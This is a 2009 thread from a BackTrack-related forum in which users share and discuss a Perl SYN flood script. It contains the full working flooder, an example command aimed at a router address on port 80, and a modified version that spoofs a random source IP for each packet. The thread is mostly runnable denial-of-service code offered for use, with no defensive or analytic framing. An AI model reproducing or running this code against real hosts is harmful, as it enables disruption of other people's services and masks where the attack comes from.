Remote Exploit Forums

Go Back   Remote Exploit Forums > Newbie Area


Newbie Area Welcome to the BackTrack Forums! Please check this section and post to it if you are new to BackTrack, the Forums, or both.

   

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 03-07-2009, 03:56 AM
Senior Member
 
Join Date: Feb 2009
Posts: 141
Default synflood.pl

I am not that good at reading scripts, but i need some help finding out which variable i have to change with the source_ip destination_ip destination_port

Thank You

Code:
#!/usr/bin/perl
# synflood.pl - Simple SYN Flooder
# Author: iphelix
#
# Requires perl, Net::RawIP module, and root privileges

use Net::RawIP;

if($#ARGV == 2) {
   ($src,$dst,$port) = @ARGV;
   $a = new Net::RawIP;
   while(1) {
      $src_port = rand(65534)+1;
      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
      $a->send;   
   }
} else {
   print "./synflooder source_ip destination_ip destination_port\n";
}
Reply With Quote
  #2 (permalink)  
Old 03-07-2009, 03:59 AM
cr1spyj0nes's Avatar
Senior Member
 
Join Date: Sep 2008
Location: Australia
Posts: 164
Send a message via ICQ to cr1spyj0nes Send a message via MSN to cr1spyj0nes
Default

dont judge me but i think its

if($#ARGV == 2)
Reply With Quote
  #3 (permalink)  
Old 03-07-2009, 09:41 AM
KMDave's Avatar
Administrator
 
Join Date: Jan 2008
Location: Moshpit
Posts: 2,009
Default

That's wrong.

Just read what it says in the last line before the }

It is explained pretty well, where the values for the variables come from.
__________________
"You cannot help men permanently by doing for them what they will not do for themselves."
-- Abraham Lincoln
Reply With Quote
  #4 (permalink)  
Old 03-07-2009, 01:26 PM
pureh@te's Avatar
Jenkem Addict
 
Join Date: Mar 2007
Location: /dev/null
Posts: 5,549
Default

Works fine

r00t@infected ~ $ sudo perl synflood.pl 192.168.1.193 192.168.1.1 80
Reply With Quote
  #5 (permalink)  
Old 11-02-2009, 01:22 AM
New Member
 
Join Date: Nov 2009
Posts: 1
Default

I modified the original script, the result was:

#!/usr/bin/perl
# synSpoofFlood
# Author: Lucas Allan
#
# Based on Simple SYN Flooder by iphelix
# Requires perl, Net::RawIP module, and root privileges
#
# lucasallan.com
#

use Net::RawIP;

sub geraIP(){
$range = 255;
$iA = int(rand($range));
$iB = int(rand($range));
$iC = int(rand($range));
$iD = int(rand($range));

return $iA . “.” . $iB . “.” . $iC . “.” . $iD;
}

sub attack(){
($dst,$port) = @ARGV;
$a = new Net::RawIP;
while(1) {
$src_port = rand(65534)+1;
$src = geraIP();
$a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
$a->send;
}
}
if($#ARGV == 1) {
attack();

} else {
print “Target Port\n”;
}
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 12:35 AM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2